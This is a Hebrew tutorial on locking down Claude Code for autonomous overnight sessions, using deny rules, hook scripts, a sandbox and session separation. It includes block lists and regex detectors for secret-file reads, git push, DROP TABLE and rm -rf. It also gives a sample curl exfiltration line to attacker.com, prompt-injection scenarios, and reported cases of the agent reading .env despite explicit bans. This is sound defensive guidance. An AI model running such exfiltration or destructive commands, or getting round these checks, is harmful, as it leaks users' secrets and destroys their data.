איך להגדיר את Claude Code כך שלא יהרוס את הפרויקט שלכם במהלך הלילה

מה השתנה ב־2026: Claude Code אוטונומי ותקריות אמיתיות#

בעבר, Claude Code עצר אחרי כל תשובה וביקש רשות לכל כתיבה. זה היה לא נוח, אבל בטוח: לא יכולתם ממש לישון בזמן תקרית, כי הסוכן היה ממתין ל״כן״ שלכם. ב־2026 המודל הזה נשבר. Anthropic השיקה את auto-mode — סוכן מסווג נפרד מחליט בשמכם אם לאשר כל פעולה. הופיעה הפקודה /loop (הרצת הנחיה במרווחי זמן בתוך סשן), וכך גם /schedule (תזמון בסגנון cron למשימות ארוכות). סשני רקע שהופעלו באמצעות claude --bg מריצים את הסוכן ברקע ללא מסוף. סקרתי בפירוט את המצב האוטונומי במדריך ״/goal ב־Claude Code: מצב אוטונומי ותצוגת הסוכן״.

האוטונומיה הושקה מהר יותר משהאבטחה הספיקה להתעדכן.

במקביל, יש שני באגים פתוחים במאגר של Anthropic שכדאי להכיר לפני שמוסיפים permissions.deny ל־settings.json:

• Issue #44868 (7 באפריל 2026): Claude Code קורא את התוכן של .env באמצעות grep -n ומכניס אותו לתמליל הצ׳אט, למרות איסור מפורש ב־CLAUDE.md. הבאג עדיין פתוח.
• Issue #24846 (11 בפברואר 2026): כללי permissions.read.deny לדפוסים מסוג .env* אינם מוחלים — Read קורא את .env.local למרות דפוס חסימה תקין. נסגר ככפילות, אך לא תוקן.

שני הפערים האלה מראים מדוע שכבת הגנה אחת ב־settings.json אינה מספיקה. בהמשך מוצג מודל בן ארבע שכבות: הרשאות + hooks + sandbox + הפרדת סשנים. כל שכבה יכולה לצמצם חשיפה, אך אינה הופכת את האחרות למקיפות. הערכת auto-mode המצוטטת אינה מוכיחה ש-hook עם ביטוי רגולרי יתפוס את החמצותיו. בייצור השתמשו בסביבת מערכת הפעלה מבודדת ללא פרטי גישה לייצור או הרשאות כתיבה אליו, אכפו מגבלות רשת מחוץ למודל ובדקו את הגבולות לפני הרצה ללא השגחה.

מהם אזורי הפרויקט הירוק והאדום?#

אין טעם לבנות הגנה זהה לכל פרויקט. פרויקט צד מקומי במחשב שלכם, שאינו פרוס חיצונית, כרוך ברמת סיכון שונה לחלוטין משירות שמטפל בתשלומים אמיתיים ושומר נתוני לקוחות. אם תשתמשו באותה הגנה בכל מקום, תאטו את העבודה באזור הירוק ועדיין תשאירו פערים באזור האדום.

פרויקט עובר מירוק לאדום ברגע שמתקיים לפחות אחד משלושה תנאים: מופיעים לקוחות חיים, כסף מתחיל לזרום דרך המערכת, או שמסד הנתונים מכיל מידע אישי של אנשים. עד אז אפשר להשתמש ב־auto-mode, במספר מינימלי של hooks וללא sandbox. לאחר מכן, יש לבנות מחדש את ההגנה לפי ההגדרה המלאה במדריך הזה.

העיקרון המרכזי: רמת ההגנה נקבעת לפי האזור. שלב הפיתוח אינו משנה. פרויקט צד במחשב שלכם עם חשבון Stripe לבדיקה נמצא באזור הירוק. שירות עם לקוח אחד שמשלם וטופס הרשמה נמצא כבר באזור האדום, גם אם הוא עדיין נראה כמו ״טיוטה״. בלבול בין האזורים האלה הוא מלכודת נפוצה בפרויקטים בתחילת דרכם: ״אנחנו עדיין בטיוטה, נוסיף הגנה בהמשך״, ואז הלקוח הראשון משלם בשבוע הבא.

איך פועלת היררכיית ההרשאות ב־settings.json?#

Anthropic מתארת את היררכיית הערכת ההרשאות בתיעוד הרשמי: קודם נבדקים כללי deny, אחריהם ask ולבסוף allow — הכלל התואם הראשון הוא הקובע. פירוש הדבר הוא ש־deny תמיד גובר על allow. אם תאסרו קריאה של .env ב־~/.claude/settings.json, ומישהו יגדיר allow ב־.claude/settings.json של הפרויקט, האיסור שלכם יחול ולא ההרשאה שלו.

דוגמה מינימלית ובטוחה ל־~/.claude/settings.json ברמת המשתמש:

{
  "permissions": {
    "deny": [
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(**/.env)",
      "Read(**/.env.*)",
      "Read(*.pem)",
      "Read(*.key)",
      "Read(**/credentials*.json)",
      "Read(~/.ssh/**)",
      "Read(~/.aws/**)",
      "Read(~/.gnupg/**)"
    ]
  },
  "disableBypassPermissionsMode": "disable"
}

מה קורה כאן? ששת הכללים הראשונים חוסמים קריאה של קובצי סוד בתיקייה הנוכחית ובכל תיקיות המשנה. *.pem ו־*.key הם מפתחות SSL/TLS ומפתחות SSH. credentials*.json הוא שם קובץ נפוץ אצל ספקי ענן. שלושת הנתיבים האחרונים הם תיקיות מערכת שמכילות מפתחות SSH, פרטי גישה ל־AWS ומפתחות GPG.

המפתח disableBypassPermissionsMode: "disable" חוסם את הדגל --dangerously-skip-permissions (המוכר גם כמצב YOLO). כך מוסרת אחת מקבוצות הטעויות אחת ולתמיד: גם אם תוסיפו בטעות את הדגל לסקריפט או לכינוי, Claude Code יסרב לקבל אותו. הוא לא רק יסיר אותו — הוא יחזיר את השגיאה “mode disabled by managed settings.”

בנוסף, החל מגרסה 2.1.142, מתעלמים מהמפתח defaultMode: "auto" אם הוא נמצא בהגדרות של project או local. כך נמנע המצב ״נכנסתי למאגר של מישהו אחר, וב־.claude/settings.json שלו מופעל מצב אוטומטי כברירת מחדל״. Anthropic הצהירה במפורש שמאגרים אינם יכולים להפעיל auto-mode ללא הסכמת המשתמש.

זו שכבת ההגנה הראשונה. אי אפשר לעצור כאן, כי יש לה שני פערים שתכירו בסעיף הבא.

למה permissions.deny לא מספיק: 2 בעיות פתוחות ב־GitHub#

אילו permissions.deny פעל, המדריך היה יכול להסתיים בסעיף הקודם. הוא לא פועל.

Issue #44868 (7 באפריל 2026): המשתמש הוסיף במפורש איסור ב־CLAUDE.md על קריאת .env,‏ .dev.vars וקבצים אחרים שמכילים סודות. במקום להשתמש ב־Read, Claude הפעיל grep -n SOMETHING .env. הפקודה grep -n מדפיסה את כל השורה התואמת יחד עם מספרה — כולל אסימון ה־API האמיתי. השורה נכנסת ל־tool_result, מוצגת בתמליל הסשן ונשמרת בהיסטוריה.

הנקודה העדינה שהמחבר מדגיש: תגובת הבטיחות של המודל מופעלת לאחר שהפלט כבר נוצר, ולא לפני שהפקודה רצה. במילים אחרות, Claude מפעיל קודם את grep, מקבל שורה שמכילה את האסימון ומדפיס אותה בצ׳אט — ורק אז מזהה את הטעות שלו ו״מתנצל״. בשלב הזה, האסימון כבר נמצא בהיסטוריית הצ׳אט. הפתרון היחיד הוא להחליף את המפתח.

Issue #24846 (11 בפברואר 2026): המשתמש הגדיר permissions.read.deny עם רשימה שכללה את הדפוס **/.env*. לאחר מכן ביקש מ־Claude לקרוא את .env.local. כלי Read הסתיים ללא שגיאות והדפיס את תוכן הקובץ.

הבעיה נסגרה ככפילות, אך לא תוקנה. נכון למועד כתיבת המדריך הזה (יוני 2026), אפשר לשחזר אותה.

המסקנה: שכבה 1 ב־settings.json אינה מאמץ מבוזבז, אך הדוגמאות האלה אינן מודדות איזה שיעור מהקריאות המקריות היא מונעת. אבל היא אינה מונעת פקודות דרך Bash (cat .env,‏ grep API_KEY .env,‏ head .env), באגים באכיפה (issue #24846), או שרשראות מתוחכמות המשתמשות ב־git diff או ב־git show על commit שמכיל .env. לכן נחוצה שכבה שנייה — hooks.

איך hooks יכולים לחסום פעולות מסוכנות שהם מזהים?#

Hooks פועלים ברמת הפשטה שונה מזו של הרשאות. הרשאות הן כללים שהמודל מביא בחשבון כשהוא מחליט מה לעשות. hook פועל אחרת: המודל מחליט לקרוא לכלי, ה־hook רץ בין המודל למערכת, בודק את הקלט ומאפשר או חוסם אותו. המודל אינו משתתף בהחלטת ה־hook — זהו קוד shell שאתם כותבים בעצמכם.

Anthropic מתארת את התנהגות החסימה בתיעוד הרשמי של hooks:

יש לכך שתי משמעויות. ראשית, hook חוסם שהוגדר כראוי יכול לדחות את קריאת הכלי התואמת. ב-PreToolUse, קוד יציאה 2 חוסם את אותה קריאה; הוא אינו מוכיח שהסקריפט מזהה כל פקודה מסוכנת שקולה. שנית, אפשר להוסיף הודעה משמעותית ל־stderr, ו־Claude יקרא אותה כשגיאה וינסה גישה אחרת. כלומר, hook אינו רק ״גדר״; הוא ״גדר עם שלט שמסביר למה אי אפשר לעבור״.

אירועים שאפשר לחסום באמצעות קוד יציאה 2:

• PreToolUse — חוסם את הקריאה לכלי לפני הביצוע. האירוע המרכזי ל־hooks הגנתיים.
• PermissionRequest — דוחה הרשאה לפעולה ש־Claude ביקש לבצע.
• UserPromptSubmit — חוסם ומוחק את ההנחיה של המשתמש. שימושי אם ההנחיה מכילה טקסט חשוד (לדוגמה, הזרקת הנחיה מתוך הודעת דוא״ל שנשתלה).
• Stop — מונע מ־Claude לסיים את הסשן. אפשר להשתמש בו כ״לולאה״ כדי להשאיר את הסוכן פעיל עד שתנאי מסוים מתקיים.
• PreCompact — חוסם צמצום אוטומטי של ההקשר. שימושי אם רוצים לשמור את תמליל השיחה עד להחלטה ידנית.
• WorktreeCreate — דוחה יצירת worktree. הגנה מפני ניסיון של Claude לשכפל מאגר למקום בלתי צפוי.

חלופה לקוד יציאה 2 היא להחזיר JSON עם שדה hookSpecificOutput.permissionDecision. ל־permissionDecision יש ארבעה ערכים אפשריים:

• allow — מאפשר במפורש את הפעולה, תוך עקיפת זרימת ההרשאות הרגילה.
• deny — חוסם את הפעולה, ושקול לקוד יציאה 2 עבור PreToolUse.
• ask — מעביר את ההחלטה למשתמש (מופיעה תיבת דו־שיח).
• defer — מעביר את ההחלטה ללוגיקת ההרשאות הרגילה.

כך ל־hook יש שליטה רבה יותר מאשר לקוד יציאה. באמצעות permissionDecision: "ask" אפשר להפוך פעולות שקטות לכאלה שדורשות אישור, בלי לחסום אותן לחלוטין. כך אני נוהג לגבי npm install <new package> ושינויים בקובצי lock.

אם תרצו ללמוד עוד על פעולת hooks ועל 31 האירועים הזמינים כרגע ב־Claude Code, סקרתי אותם במדריך נפרד ״Hooks ב־Claude Code: 7 כללים מוכנים להעתקה״. בהמשך אציג hooks ספציפיים לעבודה אוטונומית.

באילו 7 hooks אני משתמש לעבודה במהלך הלילה?#

זו שכבת ההגנה השנייה, שמגבה את הראשונה. כל ה־hooks נמצאים ב־.claude/hooks/, נרשמים דרך .claude/settings.json, ודורשים התקנה של jq.

Hook 1: הגנה על .env,‏ .pem ו־credentials.json מפני קריאה

מוסיף בדיקות לנתיבי Read נבחרים ולפקודות Bash נפוצות לקריאת סודות. הוא אינו מזהה כל כלי או כל דרך לקרוא סוד. קובץ: .claude/hooks/block-secret-reads.sh:

#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')

# Read tool with a suspicious path
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Secret file. Use op:// references or env vars."
    }
  }'
  exit 0
fi

# Bash that reads secrets via cat/grep/head
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Reading secrets via shell is blocked."
    }
  }'
  exit 0
fi

exit 0

רישום ב־.claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Read|Bash",
        "hooks": [{
          "type": "command",
          "command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
        }]
      }
    ]
  }
}

לאחר ההתקנה, הריצו chmod +x .claude/hooks/block-secret-reads.sh. בדיקה: בקשו מ־Claude לקרוא את .env.local — תקבלו את התשובה “Secret file. Use op:// references or env vars.” במקום את תוכן הקובץ.

Hook 2: חסימת קריאות git push מילוליות בהפעלות לילה

בהפעלה ללא השגחה, הדוגמה חוסמת בשמרנות כל git push מילולי שהיא מזהה, כולל לענפי feature. היא אינה מנסה להסיק מה הענף הנוכחי או אם דגל force בטוח. קובץ: .claude/hooks/block-force-push.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

if echo "$CMD" | grep -qE '(^|[[:space:];|&()])git[[:space:]]+push([[:space:];|&()]|$)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Push disabled in overnight session. Use supervised review."
    }
  }'
fi

exit 0

רשמו דרך PreToolUse עם התאמת Bash. מכיוון שהדוגמה חוסמת פקודת push מזוהה במקום לפענח דגלים ושמות ענפים, היא מזהה git push --force origin main, את git push origin main --force, את git push -f, את git push origin HEAD:main ו-push מילולי בתוך שרשרת && או ;. אלה דוגמאות להתאמת מחרוזות מקומית, ולא פקודות להרצה מול מאגר מרוחק.

זו עדיין היוריסטיקת טקסט. כינויי Git, פונקציות shell, ‏git -C ... push, שמות פקודות שנבנים דינמית, סקריפטים וכלים אחרים יכולים לעקוף אותה; היא אינה מנתח shell מלא. אכפו כללי ענפים מוגנים בשרת Git, הסירו פרטי גישה שיכולים לעקוף אותם והריצו עבודה ללא השגחה בסביבה מבודדת ללא גישת כתיבה לייצור. החמצת התאמה של hook אינה יכולה להעניק סמכות לייצור.

Hook 3: חסימת פעולות SQL הרסניות

מתייחס ישירות לתקריות של מחיקת מסד נתונים. קובץ: .claude/hooks/block-destructive-sql.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive DDL blocked. Use migrations with explicit human approval."
    }
  }'
  exit 0
fi

# DELETE FROM without WHERE
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "DELETE without WHERE blocked. Confirm scope explicitly."
    }
  }'
  exit 0
fi

# UPDATE without WHERE
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "UPDATE without WHERE will affect all rows. Confirm scope."
    }
  }'
  exit 0
fi

exit 0

רשמו אותו תחת PreToolUse עם matcher: "Bash". שימו לב להבדל: DROP ו־DELETE ללא WHERE נחסמים לחלוטין, ואילו UPDATE ללא WHERE הופך ל־ask — לפעמים הוא עשוי להיות מוצדק (למשל, הגדרת דגל לכל הרשומות במיגרציה), אך תמיד דורש אישור ידני.

Hook 4: מסנן rm -rf

דוגמה קנונית מהתיעוד של Anthropic, שהותאמה לדחייה עם הסבר:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# rm -rf /, ~, $HOME, * without explicit scope
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive rm without explicit scope. Specify the directory."
    }
  }'
fi

exit 0

ה־hook מאפשר rm -rf node_modules,‏ rm -rf .next/cache ומחיקות אחרות עם היקף מוגדר במפורש. הוא חוסם rm -rf .,‏ rm -rf /,‏ rm -rf ~ ופקודות דומות של ״מחיקת הכול״.

Hook 5: בקשת אישור להתקנת חבילות חדשות

ה־hook הזה מתמודד עם מתקפות שרשרת האספקה. אם Claude מחליט על דעת עצמו להוסיף תלות חדשה, תופיע תיבת דו־שיח:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# Installing dependencies from a lockfile—allow
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
  exit 0
fi

# Adding new packages
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Adding new dependency. Confirm package name and version."
    }
  }'
fi

exit 0

הדבר מתייחס לנקודה שסיימון ויליסון העלה: רשימת ההיתרים של auto-mode כברירת מחדל מאפשרת pip install -r requirements.txt, אך אינה מגינה מפני תלויות שאינן מקובעות בתוך requirements.txt. ה־hook עושה את ההפך — התקנות מקובץ lock מתבצעות בחופשיות; הוספת תלות חדשה דורשת אישור.

Hook 6: הגנה על package.json ועל קובץ ה־Lock

כל שינוי במניפסט של תלויות הוא סימן שמישהו צריך לבדוק אותו. במיוחד במהלך הלילה.

#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')

if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Dependency manifest change. Confirm scope before write."
    }
  }'
fi

exit 0

רשמו אותו עם PreToolUse ועם התאמת Write|Edit.

Hook 7: יומן ביקורת מקצה לקצה של כל קריאות Bash

אם משהו משתבש במהלך הלילה, דרוש לכם יומן מלא כדי להבין את רצף האירועים. רשמו אותו ב־settings.json (ל־hook אין סקריפט נפרד; jq עושה הכול):

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash|Write|Edit",
        "hooks": [{
          "type": "command",
          "command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
        }]
      }
    ]
  }
}

הקובץ .claude/audit.jsonl גדל שורה אחת בכל פעם. בבוקר, אחרי /loop במהלך הלילה, תוכלו להריץ tail -n 100 .claude/audit.jsonl | jq ולראות מה הסוכן עשה בכל שלב. זה קריטי לניתוח לאחר תקרית, כי תמליל הסשן עשוי להיות ארוך וקשה לקריאה, בעוד שיומן הביקורת מספק ציר זמן ברור.

איך sandbox ובידוד worktree מגינים על סשנים ארוכים?#

אם hooks הם ״גדר עם שלט״, sandbox הוא ״גדר + חפיר + רשת רחפנים״. זו שכבת ההגנה הרביעית, שנועדה למצבים שבהם hooks מאפשרים לפעולה לעבור, אך גם ביצועה לא אמור לגרום נזק מחוץ לסביבה.

בפוסט על sandboxing (20 באוקטובר 2025), Anthropic מדווחת על מדידות פנימיות:

המשמעות היא שכאשר מפעילים את /sandbox, Claude מפסיק לבקש הרשאה עבור 84% מהפעולות, משום שפעולות אלה אינן יכולות פיזית לצאת מה־sandbox. הדבר מועיל למהירות, אך זו אינה התועלת העיקרית.

ה־sandbox מספק שתי רמות בידוד, ולכל אחת תפקיד משלה:

בידוד מערכת הקבצים מגביל קריאה וכתיבה לתיקיות שאושרו במפורש. גם אם hook מפספס ניסיון לכתוב אל /etc/hosts או לקרוא את ~/.ssh/id_rsa, ה־sandbox לא יאפשר לקריאת המערכת לעבור. זו הגנה ברמת מערכת ההפעלה. שכבת היישום אינה יכולה לראות אותה.

בידוד רשת מאפשר חיבורים רק לשרתים מאושרים. הדבר קריטי נגד מתקפות הוצאה של מידע. תרחיש: הזרקת הנחיה בקובץ שנשתל מרמה את Claude לקרוא את .env (ה־hook פספס כי הקריאה עברה בדרך חריגה), ואז המודל מחליט להריץ curl -X POST attacker.com -d "$ENV_CONTENT". ללא בידוד רשת זה עובד. עם בידוד רשת, curl אינו יכול להגיע אל attacker.com, כי המארח אינו ברשימה.

הפעילו אותו באמצעות הפקודה /sandbox בתוך Claude Code. הגדירו אותו ב־~/.claude/settings.json:

{
  "sandbox": {
    "filesystem": {
      "allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
      "deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
    },
    "network": {
      "allow": [
        "api.anthropic.com",
        "github.com",
        "registry.npmjs.org",
        "pypi.org"
      ]
    }
  }
}

לסשני רקע ארוכים שהופעלו באמצעות claude --bg, הוסיפו בידוד worktree ל־sandbox. זהו מנגנון מובנה של Claude Code: כל סשן רקע מועבר אוטומטית אל .claude/worktrees/<name>/ בענף נפרד. כך סשנים מקבילים אינם מפריעים זה לעבודתו של זה בעת כתיבה לאותם קבצים. סקרתי בפירוט את בידוד ה־worktree במדריך ״תצוגת הסוכן ו־Worktrees: המצב האוטונומי של Claude Code״.

Sandbox הוא חלק ממעגל המשוב. כאשר Claude יודע שהפעולות שלו מוגבלות, הוא עובד בזהירות רבה יותר ומתאר את שלבי הביניים שלו בצורה ברורה יותר.

איפה auto-mode מתאים ב־2026, ואיפה לא?#

במרץ 2026 השיקה Anthropic את auto-mode כ״דרך ביניים בין בדיקה ידנית להיעדר אמצעי הגנה״. זהו מודל Sonnet 4.6 נפרד שבוחן כל פעולה של Claude מול קבוצת קריטריונים לפני ביצועה. Anthropic תיארה את המנגנון בבלוג Anthropic Engineering:

ל־Auto-mode יש שתי מגבלות חשובות:

• אם בסשן מצטברות 3 דחיות מסווג רצופות או 20 דחיות בסך הכול, המודל עוצר ומעביר את הטיפול לאדם. כך נמנע מצב שבו ״Claude נכנס ללולאה ומנסה לעקוף הגבלה באמצעות 100 ניסוחים שונים של אותה פקודה״.
• Auto-mode מאשר פעולה אם היא דומה ל־93% מהמקרים הטיפוסיים שמשתמשים ממילא מאשרים. כך פוחתת עייפות ההרשאות, אך אין הגנה מפני פעולות מסוכנות שאינן טיפוסיות.

והנה הנתון העיקרי שחשוב לשים לב אליו:

17% שדווחו הם שיעור שליליים כוזבים באותה הערכה, ולא הסתברות לכל פעולה בפרויקט שלכם. הנתון אינו מוכיח שה-hooks לדוגמה תופסים את הפעולות שהוחמצו. באזור האדום, עבודה ללא השגחה דורשת בידוד נאכף מכתיבות לייצור ומסודות, לצד ענפים מוגנים בצד השרת ופרטי גישה שאינם יכולים לעקוף כללים אלה.

מסקנה מעשית: השתמשו ב-hooks כבדיקות נוספות בסביבה שאפשר להשליך ולשחזר. גם פרויקט מקומי יכול להכיל קבצים שאינם במעקב או פרטי גישה ש-Git אינו יכול לשחזר. באזור האדום, החמצת hook חייבת להיות מוגבלת באמצעות בקרות גישה ממשיות; אוסף ביטויים רגולריים אינו הופך הרצת shell שרירותית להבטחת בטיחות דטרמיניסטית.

למה להפריד הקשרים לשלושה סוגי סשנים?#

שלושה סוגי משימות לעולם לא צריכים להימצא באותו סשן:

סוג 1: עבודה עם מידע אישי. לסשן יש גישה למסד הנתונים של סביבת הייצור, הוא יכול לשלוח הודעות דוא״ל ורואה פרטי גישה. אין לו גישה למסמכים חיצוניים (הודעות דוא״ל, קובצי PDF, דפי אינטרנט), והוא אינו יכול לשלוח נתונים לכתובות שרירותיות.

סוג 2: עיבוד מסמכים חיצוניים. הסשן יכול לנתח הודעות דוא״ל נכנסות, להוריד דפי אינטרנט ולקרוא קובצי PDF שהתקבלו בדוא״ל. אין לו גישה למסד נתונים שמכיל מידע אישי, והוא אינו יכול לשלוח דבר החוצה ללא אישור מפורש.

סוג 3: פרסום חיצוני. הסשן יכול לפרסם ברשתות חברתיות, לשלוח קמפיינים בדוא״ל וליצור pull requests. אין לו גישה למידע אישי והוא אינו מנתח תוכן נכנס.

למה להפריד ביניהם? אם סשן אחד עושה הכול, הזרקת הנחיה יחידה בקובץ PDF שנשתל (סוכנות מתחרה שלחה ״חשבונית״) מספיקה כדי לגרום לסוכן, במהלך אחד, לקרוא את מסד נתוני הלקוחות שלכם, למצוא את כתובות הדוא״ל שלהם ולשלוח אותן לכתובת של תוקף. כל פעולה בשרשרת לגיטימית בפני עצמה עבור סוג המשימה שלה. יחד, הן דליפה.

בפועל, מיישמים זאת באמצעות תיקיות .claude שונות לסוגי משימות שונים. אפשר להגדיר שלוש תצורות: ~/projects/business-ops/.claude/ (סוג 1, גישה למסד נתונים, הרשת חסומה למעט ממשקי API פנימיים), ~/projects/inbox-parsing/.claude/ (סוג 2, כל הרשת חסומה), ~/projects/social-posting/.claude/ (סוג 3, הרשת מותרת עבור ממשקי API של Telegram,‏ רשת חברתית ו־Slack). כל תיקייה היא פרויקט נפרד עבור Claude Code, עם הרשאות ו־hooks משלה.

באילו 12 פריטי רשימת בדיקה אני עובר לפני /loop?#

1. ~/.claude/settings.json עם deny ברמת המשתמש עבור .env*,‏ *.pem,‏ *.key,‏ credentials*.json,‏ ~/.ssh/**,‏ ~/.aws/**. זהו הבסיס; בלי זה אין טעם בשאר.

2. disableBypassPermissionsMode: "disable" בתוך ~/.claude/settings.json. חוסם את דגל YOLO אחת ולתמיד.

3. דוגמאות block-secret-reads.sh נבדקו בפקודות נבחרות לקריאת סודות; סודות אמיתיים ופרטי גישה לייצור אינם נגישים לסביבה ללא השגחה.

4. דוגמת block-force-push.sh חוסמת push מילולי מזוהה ללא תלות בסדר הדגלים או ביעד; שרת Git אוכף ענפים מוגנים ופרטי גישה שאינם מאפשרים עקיפה.

5. ה־hook block-destructive-sql.sh עבור DROP TABLE,‏ TRUNCATE ו־DELETE FROM ללא WHERE.

6. ה־hook block-rm-rf.sh עבור rm -rf ללא היקף מפורש.

7. ה־hook ask-on-new-deps.sh עבור npm install <new package> (בנפרד מ־npm install ללא ארגומנטים).

8. ה־hook ask-on-lockfile-change.sh עבור כתיבה אל package.json,‏ pnpm-lock.yaml,‏ requirements.txt,‏ pyproject.toml ו־Cargo.toml.

9. יומן כולל audit.jsonl לכל קריאות Bash,‏ Write ו־Edit. בלעדיו, אי אפשר לבצע ניתוח לאחר תקרית.

10. כל סשני הרקע הארוכים רצים ב־worktree ולא בענף הראשי: claude --bg "task" יוצר worktree אוטומטית, אך יש לוודא שב־settings.json לא מופיע worktree.bgIsolation: "none".

11. הפעילו /sandbox לפני השקת משימה אוטונומית ארוכה. מערכת הקבצים מוגבלת לתיקיית הפרויקט ול־/tmp. הרשת משתמשת ברשימת היתרים של api.anthropic.com,‏ github.com ו־registry.npmjs.org.

12. שלב אימות בתוך המשימה: אחרי כל שינוי משמעותי, הריצו את כלי בדיקת התוכנה או את linter. אם הם נכשלים, הסוכן אינו ממשיך עד לתיקון הבעיה.

הפריט האחרון הוא דפוס עבודה, לא הגדרת כלי. תנו ל־Claude דרך לבדוק את עבודתו. ללא אימות, סוכן שפועל במהלך הלילה עובר שוב ושוב על ״נראה לי שעשיתי את זה נכון, ממשיכים״, וצובר שגיאות עד הבוקר. עם אימות, הוא לא ממשיך עד שהבדיקה עוברת.

7 דפוסים שגויים: מה לא לעשות#

1. --dangerously-skip-permissions במחשב מארח עם גישה לייצור. Browningstreet איבד את מסדי הנתונים של סביבת הייצור והפיתוח בפקודת ״ניקוי״ אחת. טעות עולה שעות של התאוששות וגם נתונים שאינם נמצאים בגיבוי. אם כבר התרחשה תקרית, פתחו את ״מה לעשות אם AI מחק מסד נתונים: רשימת בדיקה לשחזור״ ופעלו לפי 10 השלבים לפי הסדר.

2. הסתמכות על CLAUDE.md בלבד לצורכי אבטחה. Issue #44868 הוכיח שהמודל פועל קודם ומתנצל אחר כך. הוראה מייעצת בקובץ טקסט אינה חוסמת קריאה לכלי. Hook שהוגדר כראוי יכול לחסום קריאות תואמות, בעוד בקרות גישה של מערכת ההפעלה, ה-sandbox וצד השירות אוכפות גבולות רחבים יותר. CLAUDE.md חשוב להקשר של הפרויקט — כתבתי עליו בנפרד במדריך ״איך להגדיר את CLAUDE.md בצורה נכונה״ — אך הוא אינו מגן מפני סוכן אוטונומי.

3. הסתמכות על permissions.deny בלבד ב־settings.json, ללא hook נוסף. Issue #24846 פתוח מאז פברואר 2026. אפשר לעקוף deny עבור .env* באמצעות grep ב־Bash. Hook יכול להוסיף בדיקות, אך יש גם להוציא סודות מהסביבה ללא השגחה; ביטוי רגולרי אינו תחליף מלא לבקרת גישה.

4. ראיית auto-mode ו-hooks עם ביטויים רגולריים כבידוד מייצור. שיעור השליליים הכוזבים המצוטט ייחודי להערכה, וכיסוי ה-hooks אינו מלא. הסירו פרטי גישה לכתיבה בייצור ואמתו את הגבול הנאכף במקום להניח שכל פעולה מסוכנת תיורט.

5. התקנת חבילה חדשה באמצעות npm install ללא אישור. מתקפות שרשרת אספקה הן אמיתיות. תקריות Tea-tags בשנים 2024–2026 הראו שקיימות חבילות מתחזות עם אלפי הורדות. נחוצה לכם רשימת היתרים.

6. אי־רישום של קריאות Bash. ללא יומן ביקורת לא תוכלו להבין מה קרה במהלך הלילה. תמליל הצ׳אט ארוך, אינו מאונדקס לפי פקודה ואינו מספק ציר זמן. .claude/audit.jsonl פותר את שתי הבעיות.

7. אי־שימוש ב־worktree לסשני רקע. סשנים מקבילים באותה תיקייה מפריעים זה לעבודתו של זה. Claude Code כולל את worktree.bgIsolation, שמופעל כברירת מחדל החל מגרסה 2.1.143, אך כדאי לבדוק את ההגדרות.

והדבר העיקרי שאף hook או הגדרה אינם יכולים למנוע:

